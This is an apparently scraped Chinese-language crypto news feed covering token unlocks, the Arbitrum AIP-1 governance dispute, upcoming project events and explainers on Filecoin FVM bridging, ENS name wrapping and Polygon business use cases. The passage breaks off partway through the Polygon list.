    数据：APT、APE、DYDX、LOOKS 和 GLMR 将于四月份合计解锁超 7500 万美元的代币
    数据：APT、APE、DYDX、LOOKS 和 GLMR 将于四月份合计解锁超 7500 万美元的代币 据 DefiLlama 数据显示，4 月将有 APT、APE、DYDX、LOOKS 和 GLMR 五个代币启动解锁，总价值超 7500 万美元，包括：4 月 10 日 1250 万枚 LOOKS（价值约 1,825,538 美元）、4 月 11 日 378,788 枚 DYDX（价值约 935,606 美元）、4 月 12 日 3,210,145 枚 APT （价值约 3981 万美元）、4 月 16 日 7,343,750 枚 APE（价值约 3202 万美元）、以及 4 月 18 日 1,479,167 枚 GLMR（价值约 557,102 美元）。 内容来源  ( 102 min )
    DefiLlama 上线 Token 解锁追踪功能
    DefiLlama 上线 Token 解锁追踪功能 据链上数据分析网站 DefiLlama 官推消息，其现已上线 Token 解锁追踪功能，允许用户查看大量解锁 Token 的项目，跟踪每天解锁的 Token 数量并监控解锁计划中的重大变化。 内容来源  ( 2 min )
    数据：以太坊信标链验证者数量突破 56 万，质押 APR 回落至 4.43%
    数据：以太坊信标链验证者数量突破 56 万，质押 APR 回落至 4.43% 据以太坊官方数据显示，目前信标链验证者总量达到 561517 个，已质押的以太坊总量达到 17933480 个 ETH。以太坊信标链 ETH 质押 APR 目前为 4.43%，较 3 月底的 5.22% 高点有小幅回落。 内容来源
    Alchemy Pay 获 DWF Labs 1000 万美元投资，以扩展其在韩国的业务
    Alchemy Pay 获 DWF Labs 1000 万美元投资，以扩展其在韩国的业务 加密支付服务提供商 Alchemy Pay 获得做市商 DWF Labs 的 1000 万美元投资，估值 4 亿美元。所筹资金将用于扩展其在韩国的业务。 据 CoinDesk 介绍， Alchemy Pay 为加密公司提供了法定支付渠道，旨在协助韩国当地公司实现或计划，此前已经与 Visa、Mastercard、Google Pay 及 Apple Pay 达成合作。 内容来源  ( 26 min )
    Arbitrum：基金会并未出售 5000 万枚 ARB，其中 4000 万枚 ARB 已作为贷款分配给市场参与者
    Arbitrum：基金会并未出售 5000 万枚 ARB，其中 4000 万枚 ARB 已作为贷款分配给市场参与者 Arbitrum 发布推特回应关于 AIP-1 的争论，AIP-1 的目标是让社区参与初始决定，并最终让代币持有者通过 DAO 投票批准初始决定和框架予以支持。基金会并没有出售 5000 万枚 ARB 代币，关于 5000 万枚 ARB 代币的链上转移问题，其中 4000 万枚 ARB 已作为贷款分配给金融市场领域的参与者，剩余 1000 万枚已兑换为法币并专用于运营成本。而关于最初提议将 7.5 亿枚 ARB 代币转移至行政预算钱包的理由已经在提案中详细解释过。 此前消息，Arbitrum 社区发起 ArbitrumDAO 成立提案，提议将 7.5 亿枚 ARB 代币转至行政预算钱包。但随后 Cringe.eth 发推表示 Arbitrum 团队于 3 月 16 日取出 7.5 亿枚 ARB，并于 23 日转入币安，目前 5000 万枚 ARB 可能已在 DAO 未许可的情况下被出售。 内容来源 观点： Partrick McCorry：AIP-1 起草过程中的一个错误是没有在一开始就注意到这个建议的目的是作为对 Arbitrum DAO 和基金会的初始设置的批准，AIP-1 的重点是告知社区所有事先做出的决定，但是这些决定的沟通显然没有得到正确的阐述。此外，关于选择将 7.5% 的代币供应量分配给 Arbitrum 基金会是否合理，事实上， 7.5% 比例代币是低于 Optimism、Starkware 与 Polygon 的。【原文为英文】 内容来源 olimpio.eth：总结一下：1）这是对已经决定的事情的批准，并不是一个提议；2）基金会控制的 7.5% ARB 和其他链控制的类似，Starknet 基金会拥有 10% 的控制权，Optimism 基金会拥有 5.4% 的控制权，Polygon 基金会拥有 10% 的控制权（这个我无法核实），但 Starknet 基金会及 Optimism 基金会在推出代币之前就在代币经济学里表述了基金会的分配情况，Arbitrum 却没有；3）承认沟通不畅。【原文为英文】 内容来源 Lanli | 蓝犁：以前都没关注 DAO 这些，看起来：DAO 金库 = 需要社区投票决定的金库；基金 = 小金库，项目方可以自由裁决，例如做市、marketing、变现。 内容来源 Lookonchain：分配给 Offchain Labs 团队与 Future 团队及顾问的 26.94 亿枚 ARB 昨天通过地址 0x1e70 转入 140 个 EOA 地址，但根据文档，所有投资者与团队代币都有 4 年的锁定期。此外，链上数据显示 0x8d45 地址在收到后向 Cinbase 转入了 2256 万枚 ARB（约 2800 万美元）。目前其他地址还未转账，但这些 ARB 可以随时转入交易所出售，不受代码限制。【原文为英文】 内容来源 Arbitrum：Arbitrum 基金会是 Offchain Labs 的一个独立实体，1000 万 ARB 代币的出售是为了资助预先存在的合同和支付近期的运营成本，基金会并不是为了出售代币而存在的，且近期没有出售更多代币的计划。关于 DAO 的反馈，我们总结了四个核心点：1）AIP-1 涵盖的主题太多，我们将遵循 DAO 的建议将 AIP 分成几个部分，允许社区对不同的分部分进行讨论和投票；2）7.5 亿枚 ARB 将被转入 Arbitrum 基金会，这将在其自身的 AIP 中进行投票，团队也正在研究增加更多的责任，例如一个 4 年的释放期限。且基金会持有的代币不能用于投票；3）AIP-1 没有讨论关于资金如何使用的透明度，我们将提出透明度报告；4）特别拨款计划缺乏 DAO 的参与，团队将其重新命名为「生态系统发展基金」，并提供有关如何使用这些资金以发展 Arbitrum 生态系统的背景信息，DAO 可以随时从其财库中启动新的拨款计划。我们期待在本周初提出新的 AIP，并参与到 DAO 的公开讨论中。【原文为英文】 内容来源  ( 2 min )

  • Open

    Arbitrum官方澄清：没有出售5000万枚ARB代币，已用于发放贷款及支付运营费用
    PANews 4月3日消息，Arbitrum在官方推特就治理争议作出回应。Arbitrum表示，去中心化治理正按照原本计划进行。DAO的推出产生了一个“先有鸡还是先有蛋”的问题，很多决定必须在DAO正式启动之前做出。AIP-1提案的目标是让社区参与初始决策，最终让代币持有者通过DAO投票批准初始决策和框架。Arbitrum还澄清，基金会没有出售5000万枚ARB代币。其中4000万枚代币已借给一个成熟的金融市场参与者，剩下的1000万代币则被兑换成法定货币并用于支付运营成本。据此前消息，Arbitrum基金会在其治理社区“批准”该组织近10亿美元的预算之前就开始出售ARB代币以换取稳定币，引发社区争议。 相关阅读：Arbitrum基金会透明度遭诟病，欲通过AIP-1“窃取”10亿美元？  ( 1 min )
    Arbitrum基金会在治理社区批准预算前已开始出售ARB代币
    PANews 4月2日消息，据CoinDesk报道，Arbitrum基金会在其代币持有人治理社区“批准”该组织近10亿美元的预算之前就开始出售 ARB 代币以换取稳定币，引发社区争议。据知情人士atrick McCorry的说法，Arbitrum基金会认为，Arbitrum 改进提案AIP-1是对其已做出决定的“批准”，例如接收所有 ARB 代币的 7.5%。为此，基金会已经开始为了 DAO 的利益使用这些代币，包括出于运营目的将一些资金转换为稳定币。 相关阅读：Arbitrum基金会透明度遭诟病，欲通过AIP-1“窃取”10亿美元？  ( 1 min )
    一周预告 | Magic Eden推出测试版以太坊NFT市场ETH Genesis；PancakeSwap将部署V3版本
    要闻预告： Arbitrum社区已发起(AIP-1)提案，拟引入一个名为ArbitrumDAO的去中心化自治组织结构，其投票将于4月3日结束。 Optimism主网Bedrock升级提案的新版本（即V2版本）投票将于4月5日结束，其旨在为Layer2网络提供模块化、简单性和以太坊等效性。 NFT市场Magic Eden宣布将于4月6日推出其测试版以太坊NFT市场ETH Genesis。 美国联邦存款保险公司(FDIC)试图出售Signature的数字支付平台Signet，并计划在4月5日之前清算加密存款。 更多一周预告请点击下载PANews APP，关注PANews推出的事件日历活动板块，在PANews随时随地阅读更多区块链即时快讯和深度好文。 4月3日 项目动态： NFT系列Mocaverse将于北京时间4月3日晚9点调整质押窗口 Animoca Brands旗下NFT系列Mocaverse推特发文称，将从北京时间4月3日晚上9点开始调整质押窗口。新窗口为北京时间每周一的晚上9点到下一个周一的晚上8:59。从现在到北京时间4月3日晚上8:59，可向冷钱包转账。此外，Mocaverse还宣布下周将为在一个钱包中持有多个Mocas的用户推出“助推器”XP Booster服务，持有不同数量Mocas的用户将得到对应级别的奖励。 PancakeSwap 将于4月3日部署 V3 版本 去中心化交易平台 PancakeSwap 将于 4 月 3 日在 BNB Chain 上部署 V3 版本。PancakeSwap 此前表示，新功能包括改进的流动性供应、交易费用、交易激励和收益挖矿工具的增强等，且 V3 版本将仅在 BNB Chain 上可用。 治理投票： Arbitrum发起“拟引入ArbitrumDAO”的AIP-1提案，投票将于4月3日结束 Arbitrum社区已发起Arbitrum Improvement Proposal 1 (AIP-1)提案，拟引入一个名为ArbitrumDAO的去中心化自治组织结构。该基金会将设在开曼群岛，将负责Arbitrum生态系统的成长和发展。该提案背后实体Lemma还将申请7.5亿枚ARB代币（价值约超10亿美元）资金拨款。Lemma表示，根据ArbitrumDAO章程中规定的AIP流程，ArbitrumDAO将对DAO金库拥有直接的链上治理权力。尽管该提案目前尚未获得批准，但已经创建了一个地址名为“Arbitrum DAO Treasury2”的多重签名钱包，并且收到近7亿枚ARB代币，Arbitrum基金会的一位代表证实，该地址是行政预算钱包。该提案已在Snapshot上开放投票，目前支持比例接近90%，投票将于4月3日结束。 4月4日 项目动态： FTX将衍生品交易平台LedgerX的拍卖日期修改至4月4日 FTX将旗下衍生品交易平台LedgerX的拍卖日期已由3月22日修改至4月4日。据悉，这是第二次修改拍卖日期，拍卖地点为Sullivan & Cromwell办公室，销售听证会将于4月12日举行。中标人的通知应在拍卖结束后的一个工作日内发出。 SuperRare将于4月4日启动RarePass空投 NFT市场SuperRare在社交媒体宣布其RarePass空投将于4月4日启动，空投NFT将是美国视觉艺术家Sarah Zucker的作品，RarePass持有者钱包将会在空投时间内收到相关作品。 Element 与比特大陆将于4月4日推出比特币算力权益 NFT 聚合 NFT 交易市场 Element 宣布与比特大陆就「比特大陆披萨节活动」达成深度战略合作，将联合推出「比特币算力权益 NFT」。后续双方也将在比特币算力服务市场与 NFT 技术结合创新，共同推动 NFT 权益化市场。「比特币算力权益 NFT 」是比特大陆将在 4 月 4 日发布的全球首个算力权益 NFT「Pizza Hashrate NFT」，该 NFT 为庆祝比特币披萨节而限量发售。 4月5日 项目动态： NFT项目HALO的空投申领将于4月5日下午6点结束 3D虚拟形象NFT项目HALO OFFICIAL开放了空投申领，从北京时间3月6日18:00至北京时间4月5日18:00期间，相关用户可进行领取。据悉， HALO总量5亿枚，此次空投分发1000万枚，将从6日开始连续14天线性释放。 FDIC试图出售Signet，并计划在4月5日之前清算加密存款 据3月29日CoinDesk报道，美国联邦存款保险公司(FDIC)已要求Signature Bank的加密货币客户在下周之前取款。FDIC此前已将Signature剩余资产出售给纽约社区银行，但交易不包括约40亿美元的加密货币相关存款，也不包括Signature的数字支付平台Signet。FDIC发言人表示，仍在试图出售Signet，并计划在4月5日之前清算加密存款。据悉，FDIC一直在联系加密货币储户，并鼓励他们寻找另一家可接受这些存款的银行。 社区活动： ETH Beijing黑客松将于4月5日至8日在北京线下举行，其已获得以太坊基金会ESP的资助 北京大学区块链协会发推称，ETH Beijing 黑客松获得了以太坊基金会ESP的资助。该黑客松主赛道为: 公共品，L2应用，开放研究。据悉，ETH Beijing 黑客松是后疫情时代北京的第一个以太坊线下活动，由北大区块链协会 PKU Blockchain 和开源大学 WTF Academy 主办，以太坊ZK扩容项目 Scroll 和以太坊中文社区 ETH Planet协办，2023年4月5日 - 8日在北京线下召开。目前 ETH Beijing 黑客松获得了以太坊基金会ESP(Ecosystem Support Program)，Scroll，和Mask Network的赞助，总奖池达 $30,000。 Starknet早期采用者拨款委员会启动第一轮代币赠款，首轮资助活动申请于4月5日截止 Starknet 早期采用者拨款委员会（Early Adopter Grants，EAG）于3月23日启动了第一轮 EAG 代币赠款。该委员会被授权运作至 2023 年 6 月 30 日，委员会预算为 100 万枚 STRK 代币，将通过多轮分配给项目方。目前，首轮资助活动已开放项目申请，申请截止时间为 4 月 5 日，委员会做出决策的时间为 2023 年 4 月 13 日。Starknet 称该轮资助主要针对于 4 月 5 日前在 Starknet 主网上或其中一个测试网上部署的应用程序，基金会将通过其他渠道资助为生态系统做出贡献的链下基础设施（如构建开发人员工具或 Cairo 库）。 治理投票： Optimism社区关于主网Bedrock升级的投票将于4月5日结束 关于以太坊二层解决方案Optimism主网Bedrock升级提案的新版本（即V2版本）将在第11周期的审核期间发布，第11周期的评审期为3月2日-3月22日，投票期为3月23日-4月5日。据悉，Bedrock是由OP Labs开发的新一代去中心化Rollup基础架构，旨在为Layer2网络提供模块化、简单性和以太坊等效性。 4月6日 项目动态： 21Shares将在4月6日关闭5个加密ETP 由于需求过低，瑞士ETP发行商21Shares将关闭六个加密ETP。其中LAY1、DeFi、SPBTC、SPETH和USDY五个产品都将在4月6日收盘后关闭，LUNA将在6月12日关闭。这六个产品管理的资产规模总共不到70万美元。另一方面，21Shares的数据显示，该公司1月份新增资产2695万美元。 Mt.Gox债权人登记截止日期已推迟至4月6日 据Mt.Gox官网公告，Mt.Gox债权人登记截止日期从3月10日推迟至4月6日（日本时间），基本还款期限、早期一次性还款期限以及中期还款期限从2023年9月30日推迟到10月31日。除非有不可避免的原因，很难进一步延长最后期限。 Baobab测试网预计将于北京时间4月6日03:20完成硬分叉 韩国区块链平台Klaytn已经发布 Klaytn v1.10.2，该版本包括一个硬分叉升级，所有Baobab/Crypress节点都必须在目标区块高度前完成升级。Baobab测试网将于区块119145600（预计北京时间4月6日03:20）完成硬分叉，Crypress主网将于区块119750400（预计北京时间4月17日00:01）完成硬分叉。硬分叉实现KIP-103，这是KGP-6的技术规范，将实施 TreasuryRebalance，并对相关内容进行改进、修复与维护等。 Magic Eden将于4月6日推出测试版以太坊NFT市场ETH Genesis NFT市场Magic Eden宣布将于4月6日推出其测试版以太坊NFT市场ETH Genesis。这也意味着，继Solana、Polygon、Bitcoin之后，以太坊成为了Magic Eden所覆盖的第四个生态。 4月9日 项目动态： RabbitX计划于Q2开启空投，快照将在4月9日结束 去中心化永续合约和衍生品交易所RabbitX发布空投公告，期最后一个快照日期为2023年4月9日，空投分发将在第二季度进行。RabbitX （原Strips Finance）是Starknet去中心化永续合约和衍生品交易所，允许用户在多个不同市场交易永续合约，即时确认且零手续费。  ( 3 min )
    PA图说 | 一图掌握以太坊上NFT关键数据（2023.04.02）
    NFT日报全新升级，增加更多新维度，NFT交易时可更全面细致参考！ PANews APP 2.0全新升级，带你挖掘热门NFT，捕捉参与机会，点击此处下载PANews即可体验。  ( 1 min )
    瑞士检察官对瑞银收购瑞信展开调查
    PANews 4月2日消息，据金十报道，瑞士联邦检察官已对瑞士信贷在政府支持下被规模更大的竞争对手瑞银收购一事展开调查。总部位于伯尔尼的检察官正在调查牵涉到这两家银行的政府官员、监管机构和高管是否违反了瑞士刑法。上个月，为了避免一场潜在的灾难性金融危机，这两家银行仅在一个周末就达成了紧急合并协议。瑞士联邦检察官办公室表示：“联邦检察官办公室希望积极履行其使命和责任，为建立一个廉洁的瑞士金融中心做出贡献，并已建立监督机制，以便在其活动范围内的任何情况下立即采取行动。”检察官Stefan Blättler已经向政府机构发布了一系列“调查命令”。  ( 1 min )
    数据：3月份ARK基金累计减持约10万股GBTC
    PANews 4月2日消息，据ARK基金持仓数据显示，3月份ARK基金累计减持约10万股（101,408股）灰度GBTC，价值约165.9万美元。2023年以来，ARK基金没有增持一股GBTC。  ( 1 min )
    Degen Zoo疑遭黑客攻击，目前团队已暂停游戏并启动调查
    PANews 4月2日消息，据Telegram公告显示，DAO Maker项目Degen Zoo疑似在Binance Oracle上遭黑客攻击。目前项目团队已暂停游戏并启动调查，截至14时尚未发现任何的漏洞，并且无法通过智能合约的错误来孵化更好的动物。目前官方Telegram已被禁言。  ( 1 min )
    数据：zkSync Era∎总锁仓量突破1亿美元
    PANews 4月2日消息，zkSync发推表示，zkSync Era∎总锁仓量（TVL）已突破1亿美元。  ( 1 min )
    FVM虚拟机无限想象：跨链互操作性
    作者：Filecoin Network FVM虚拟机在2023年3月14日的发布，变革了现有的Filecoin生态，有望释放开放数据经济的全部潜力。下面列举了一些在Filecoin虚拟机上搭建跨链互操作性的项目及其亮点。 Filecoin网络在主网上线的Axelar(https://axelar.network/how-axelar-works) 和 Celer Network(https://celer.network/) 信息和token桥接方案，向跨链互操作性迈出了重要一步。这些整合方案实现了Filecoin和30多个Web3领先项目（Polygon、Ethereum、Binance Smart Chain、Avalanche等）之间的无缝通讯和资产转移。 可互操作的网络能让Filecoin将其具有竞争力的服务（如数据计算和存储）输出给其他区块链的应用。这个路径让各个区块链上的Dapps应用都可以利用Filecoin网络上的数千名存储提供者、资源和未来的子网络，以服务其数据需求。 Axelar和Celer带来了安全、用户体验、模块化和特性方面的一些最高标准，Filecoin项目很高兴这些协议在主网上已经上线了。通过使用Celer Network和Axelar这样的工具，开发者现在可以开始搭建多链的未来，将Filecoin作为一个可扩展、去信任、可验证和安全的数据层来使用。 各种桥接机制可以实现可映射的资产（如ETH、BTC、USDC和USDT）在Filecoin和其他区块链之间转移。通过其他主要token带来的流动性提升，链下协议可以轻松支付Filecoin服务和其他FVM虚拟机原生dapps的费用，也可以轻松引入有其他资产的用户。可以阅读Celer在博客上的公告(https://blog.celer.network/2023/03/20/celer-cbridge-and-im-support-launched-on-the-filecoin-virtual-machine-fvm/#:\~:text=USDC%20%E2%80%93%200x2421db204968A367CC2C866CD057fA754Cb84EdF,WBTC%20%E2%80%93%200x592786e04c47844aa3b343b19ef2f50a255a477f) ，来了解怎样通过Celer将封装资产桥接到Filecoin. 现在，开发者可以利用跨链流动性和市场机制，简化新增用户和访问其他协议的过程。这样，Filecoin的用户要是想在链上持有资产，就可以利用桥接、互换和桥接回Filecoin的方式来访问具有最大流动性的池子。Squid Protocol(https://www.squidrouter.com/) 这类协议很快会让FVM上的dapps进行整合并实现一键式引入用户。这意味着dapps可以让用户享受更高的灵活性和更低的费用。准备好桥接你的资产了吗？现在就可以通过 cBridge（由Celer Network驱动）(https://cbridge.celer.network/1/56/USDC) 或Satellite token转移（由Axelar驱动）(https://satellite.money/?source=ethereum&destination=osmosis&asset_denom=uusdc&destination_address=) 开始了，后者将在下周可用。 在其他领先区块链项目上的智能合约现在可以在Filecoin上支付、验证和执行数据存储了。例如，以太坊上的某个DAO现在可以使用EVM智能合约来验证数据存储，支付ETH——这可以直接实现，或者通过即将到来的服务辅助，如Lighthouse Files(https://files.lighthouse.storage/)。这为用户和开发者带来了新机会，让他们与Filecoin上现有和未来的数据拍卖和存储协议无缝互动。可以先了解FVM存储交易提议新手包(https://github.com/filecoin-project/fvm-starter-kit-deal-making) ，或通过Axelar通用信息传递(https://docs.axelar.dev/dev/general-message-passing/overview) 和Celer链间通讯(https://im-docs.celer.network/developer/celer-im-overview)查看相关文档。 通过实现token和消息的传递，Axelar and Celer让40多个区块链（包括以太坊、Polygon和Cosmos）上的dApps可以访问和购买Filecoin上的服务（如数据存储和数据计算）。这样的互操作性可以让开发者为各种区块链添加强大的数据能力，强化其应用的功能和用户体验。例如，OCEAN Protocol协议在FVM虚拟机上发布了首个数据市场解决方案，它可以将Filecoin和Binance上的买家和卖家结合起来，以更高效发现和消费数据集。可以在这里了解更多(https://twitter.com/oceanprotocol/status/1635776825954811905)。 Axelar和Celer Network提出的消息和token桥接方案在主网的上线，是Filecoin生态系统的变革性时刻。Axelar和Celer带来的无缝通讯和资产转移特性创造了很多机会，来实现强大的数据能力、跨链智能合约调用、资产桥接和token互换。这最终会为整个去中心化互联网带来增长和创新。  ( 1 min )
    数据：某巨鲸一次性卖出87枚CryptoPunk，约合958万美元
    PANews 4月2日消息，NFT社区成员Cirrus表示，某巨鲸一次性卖出87枚CryptoPunk， 销售总金额为5261枚ETH（约957.5万美元）。而该地址在几个星期前，曾将几十枚CryptoPunks高价抛售给黄立成。  ( 1 min )
    数据：5大稳定币一季度“购买力”约为1263亿美元
    PANews 4月2日消息，加密分析公司Santiment发推表示，随着加密市场在一季度复苏，USDT、USDC、BUSD、DAI和USDP这五大稳定币的综合购买力为1263.1亿美元，本周加密市场跌势有所收窄，其上升趋势表明BTC上涨的可能性增加。  ( 1 min )
    数据：近三个月来加密货币ATM数量下降13.91%
    PANews 4月2日消息，据News.Bitcoin报道，加密货币ATM聚合网站Coin ATM Radar的数据显示，加密ATM的数量在过去三个月中下降了13.91%。1月份下线1587台，这是自2022年9月丢失399台ATM以来第二次出现大量机器下线；2月份下线275台；3月份下线3627台。截至目前，全球共安装了33728台加密ATM。  ( 1 min )
    ENS 域名封装是什么？为何如此重要？
    撰文：Karen，Foresight News 本文首发于 2023 年 1 月 19 日 4 月 1 日更新：ENS 现已将 NameWrapper 合约部署到主网，尚需 DAO 投票激活。 以太坊域名服务（ENS）的域名封装（ENS Name Wrapper）功能被视为 ENS 大规模采用和变革 Web3 的关键改进，有希望在两周后在主网上线。那 ENS 域名封装功能究竟是什么？为何如此重要？ 简单来说，该封装功允许将现有任意级别的 ENS 域名封装为 ERC-1155 代币，子域名可以作为单独的 NFT 存着，另外，父域名还能够对子域名进行更精细的管理控制，包括过期情况以及权限授予等，为 ENS 域名带来更多的灵活性。当前 ENS 子域名并不是作为单独的 NFT 创建的，因此转移和交易也是受限的。 众所周知，ERC-721 是以太坊最基础且使用最广的 NFT 底层标准，是一种非同质化代币合约。对比之下，ERC-1155 同时支持同质化和非同质化代币，而且可批量转移和批量授权，对于子域名的控制、管理来说非常方便和高效。 ENS 官方列出来的域名封装的其他优势和功能包括 一个域名的生命周期如图所示： 即，一个域名在注册后可以进行封装，已注册域名也可以直接创建封装子域名，之后，二级域名可以在「封装」的时候会自动「释放」，其他情况下，父域名所有者可以放弃对子域名的控制，即「释放」，也可由父域名所有者在「释放」同时「锁定」，或者由子域名持有者自行「锁定」来放弃 unwrap 域名的能力。 需要提醒的是，所有的 ENS 域名都是顶级域名 eth 的子域名，子域名又分为二级域名（如 apple.eth）、三级域名（1.apple.eth）等。例如，apple.eth 是 eth 的子域名，1.apple.eth 也是 apple.eth 的子域名。不过，目前在多数情况下，ENS 子域名被认为是三级和三级以上域名。 正如 ENS 团队成员 domico.eth 所讲，顶级域名 eth 的密钥已被 ENS 官方转交给公共合约，ENS 官方对 eth 域名没有访问权限，因此二级域名不需要担心有人会冒充。在 ENS Name Wrapper 功能中，父域名主要通过设置子域名的到期时间和销「PARENT_CANNOT_CONTROL」fuse 来放弃对子域名的控制。fuse 可以看作是一道门，当这道门打开时，父域名持有者可以执行特定操作，如控制子域名，也可以被永久性关闭，即「烧毁」，消除了父域名持有者再次访问子域名的能力，这与 ENS 交出 eth 的密钥非常相似。 从 ENS 域名封装周期就足以看得该功能的重要性。将域名封装为 ERC-1155 对于子域名的管理和控制来说一种与生俱来的天生优势，能够帮助域名持有者在很大程度上降低成本和提升效率。ENS 域名封装中的「释放」功能通过放弃对子域名的控制，能够给予子域名更多的灵活性，也是建立无需信任的子域名生态的关键一步。 有了域名封装功能后，拥有自己公司名称域名的 Web2 公司可以为其供应商、采购商或者广大用户来分发或配置子域名，并且可以赋予一定的应用场景或效用。Web3 公司和项目也可以直接对其用户空投子域名，也可以通过子域名来加深与社区间的联系。此外，子域名交易、租借等场景也可能会展开。 我们有理由认为，ENS 域名封装会给 Web3 大规模采用增加更多想象空间。 Foresight News 此前在《ENS 掘金手册【篇一】：后来者机会何在？》中归纳了值得关注的域名类别。可以想象，域名封装功能推出后，能够扩展子域名的二级域名会更有吸引力。比如：名字类、姓氏类、公司名称类、项目名称类、通用定义、行业、产品类等。  ( 2 min )
    Jack Dorsey支持的闪电网络项目Spiral发布LDK新路线图
    PANews 4月2日消息，据Decrypt报道，Jack Dorsey支持的闪电网络项目Spiral发布了闪电网络开发包（LDK）新路线图，LDK不同于闪电网络最常用的软件实现LND和C-lightning，LDK团队的目标是更加模块化和灵活，让开发人员在构建（特别是移动）Lightning 钱包和应用程序时更轻松。新路线图上有两个独特功能，一个是LDK Node Mobile，为创建节点提供了更简单的设置；另一个是所谓的“异步支付”，该功能将是LDK明年的主要关注点。  ( 1 min )
    交易费用创新高，速览衍生品交易平台Kwenta因何走红？
    作者：vanillacream.eth，加密KOL 编译：Felix, PANews 当您专注于空投时，Kwenta的交易费用在几天前创历史新高，达至37万美元。像Mechanism Capital创始人Andrew Kang这样的鲸鱼通过GMX和Kwenta杠杆交易获得了近1800万美元的利润。 什么是Kwenta Kwenta是由Synthetix提供支持的去中心化衍生品交易平台。Kwenta的交易员可以针Synthetix债务池进行交易，该债务池由SNX质押者提供的sUSD组成。 Synthetix首次推出的V2，通过新的链下预言机系统和调整后的资金费率机制，改善了不受限的未平仓量、资产兼容性和执行费用。有助于提高Synthetix Perps（衍生品）的前端Kwenta的交易量和交易费用。下面一起深入了解Perp V2。 Perps V2是Synthetix的升级版，旨在降低Gas费、提高可扩展性和资本效率。此次升级包含2项重大更新，以彻底改变交易体验： 与中心化交易所中的传统资金费用不同，Perps V2中的资金费用会随着时间动态调整，以激励空头和多头头寸之间的平衡。确保交易者根据市场需求和供应，公平地支付或接收资金。 Perps V2引入了一种新的预言机，即Pyth Network的预言机，通过Wormhole数据传输提供了一系列优势。这些优势包括： 由于Perps V2，Kwenta在过去30天里交易量大幅增加。其中，交易费用已经高达250万美元，其中大部分是最近贡献的，表明该平台的成功和潜力。   在接下来的几个月里，将主要更新2个方面： 1) 整合Lyra伙伴关系 2) UI更新，包括： 相关阅读：《梳理Synthetix现状：永续合约交易量明显上升，V3更新带来更灵活的定制化服务》  ( 1 min )
    美SEC诉Ripple案判决或仍需2个月
    PANews 4月2日消息，据CryptoSlate报道，美SEC对Ripple的诉讼案件并没有在3月31日结案。XRP代理律师John Deaton在社交媒体上表示，3月31日不是法官判决的最后期限。法官什么时候决定是不确定的，有可能会在接下来的30或60天内判决。 如果SEC获胜将XRP归类为证券，许多其他数字资产和加密货币的某些处理方式将被纳入到其管辖权内，同时美国立法者也可能会授权美国商品期货交易委员会（CFTC）处理加密货币衍生品和交易。 此前消息。律师称美SEC诉Ripple案简易判决或在本周宣布。  ( 1 min )
    名人、企业采用首选？盘点在Polygon上构建的80个现实世界用例
    作者：黑米 自 2020 年上线主网，次年升级品牌以来，Polygon 已成为了现实世界企业采用的首选区块链网络。 这不只是说说而已，因为 Polygon 已成为了最受欢迎的 EVM 链之一，在各个方面全面开花： 受益于用户数量、安全性以及用例的多样化，Polygon 受到了许多开发人员、企业的追捧。本文根据加密研究员 JavierAng 的整理，盘点在 Polygon 上构建的 80 个现实世界用例。 印度（2022 年 7 月）： 在 Polygon 上发行“种姓”证书，以阻止弱势群体对政府福利的欺诈性索赔。 新加坡（2022 年 11 月）： 利用 Polygon 和 Aave 促进数字日元和新元的交叉交易。 MasterCard，支付巨头（2023 年 1 月）： 与 Polygon 合作推出 MasterCard Artist Accelerator，以帮助音乐艺术家学习如何通过铸造 NFT、建立线上社区来扩展自己的品牌。 Stripe，支付巨头（2022 年 4 月）： 通过 Polygon 添加了对 USDC 支付的支持，Twitter 率先测试了该服务。 WorldPay，支付巨头（2022 年 11 月）： 作为 FIS 集团的子公司，WorldPay 添加了对 Polygon USDC 的支持。 Robinhood，流行的互联网券商（2022 年 4 月）： 允许交易 Polygon 的原生代币 $MATIC。 Nubank，位于巴西，拉丁美洲最大的金融科技银行（2022 年 10 月）： 在 Polygon 上推出忠诚度代币 NuCoin。 Hamilton Lane，资管公司，8240 亿美元的资管规模（2023 年 1 月）： 在 Polygon 上开设代币化基金。 Jewel Bank，数字资产银行（2022 年 12 月）： 在 Polygon 上发行完全由储备金支持的稳定币 Jewel USD。 摩根大通，银行巨头（2021 年 12 月）： 向其首届的与会者赠送了在 Polygon 网络上铸造的 NFT。 Adobe，PS 开发商、软件巨头（2022 年 3 月）： 与 Polygon 合作，将 NFT 集成到其社交平台 Behance 中。 Opear，互联网浏览器（2022 年 3 月）： 为 Polygon 添加了浏览器内的加密钱包支持。 Google，科技巨头（2021 年 5 月）： Google 旗下的大数据分析服务 BigQuery 添加对 Polygon 区块链数据的支持。 三星，韩国电子巨头（2022 年 1 月、3月）： 2022 年 1 月，三星通过 Polygon 发行了可在元宇宙平台 Decentraland 中穿戴的 NFT。3 月，在 Polygon 上为三星在 Decentraland 中的区域 837X 发行了 12,501 件 NFT 纪念品，玩家可以通过“You Make It”任务获得。 Nothing，电子产品制造商（2022 年 7 月）： Nothing 在其新手机 Nothing Phone (1）发布之前，向 Nothing 社区投资者和手机预定者空投了铸造在 Polygon 上的 NFT。这些 NFT 可用于解锁特殊福利，包括抢先体验新的 Nothing 产品和参与线下活动。 Facebook、Instagram，Meta 旗下（分别为 2022 年 8 月、11 月）： 计划开发基于 Polygon 的 NFT 市场，并集成到两个平台上，允许用户创建和销售自己的 NFT。 不过，今年 3 月，Instagram 母公司 Meta 的商务和金融服务主管 Stephane Kasriel 发推称，将终止对 NFT 的支持，未来将通过其他方式继续支持 NFT 创作者。 Reddit（2022 年 7 月）： 在 Polygon 推出 NFT 系列“收藏头像”(Collectible Avatars) 。 Get Maine Lobsters，在线海鲜配送平台（2022 年 11 月）： 在 Polygon 上推出 NFT 忠诚度计划“Lobster Perks+”。 星巴克，全球最大的连锁咖啡店（2022 年 9 月、2023 年 3 月）： 2022 年 9 月，星巴克通过 Polygon 网络推出忠诚度计划“奥德赛”。 2023 年 3 月，以每张 100 美元的价格向星巴克奥德赛会员推出高级 NFT“The Siren Collection Stamp”。 DraftKings，美国体育博彩公司（2022 年 6 月）： 与综合格斗赛事 UFC 合作推出基于 Polygon 的 NFT 游戏 Reignmakers。 Build-A-Bear，毛绒玩具零售商（2022 年 9 月）： 在 Polygon 上推出附有实物产品的 NFT 系列。 迪士尼，娱乐传媒巨头（2022 年 7 月）： Polgon 成为入选“2022 年迪士尼加速器计划”的 6 家公司之一。 美高梅大酒店，赌场饭店、全美最大的度假村设施（2022 年 4 月）： 与 Polygon 上的票务平台合作，出售嘻哈舞演员 Jabbawockeez 的 NFT 门票。 Snapple，饮料公司（2022 年 6 月）： 与艺术家合作，在 Polygon 上设计 NFT 系列。 美联社（2022 年 1 月）： 为其照片推出 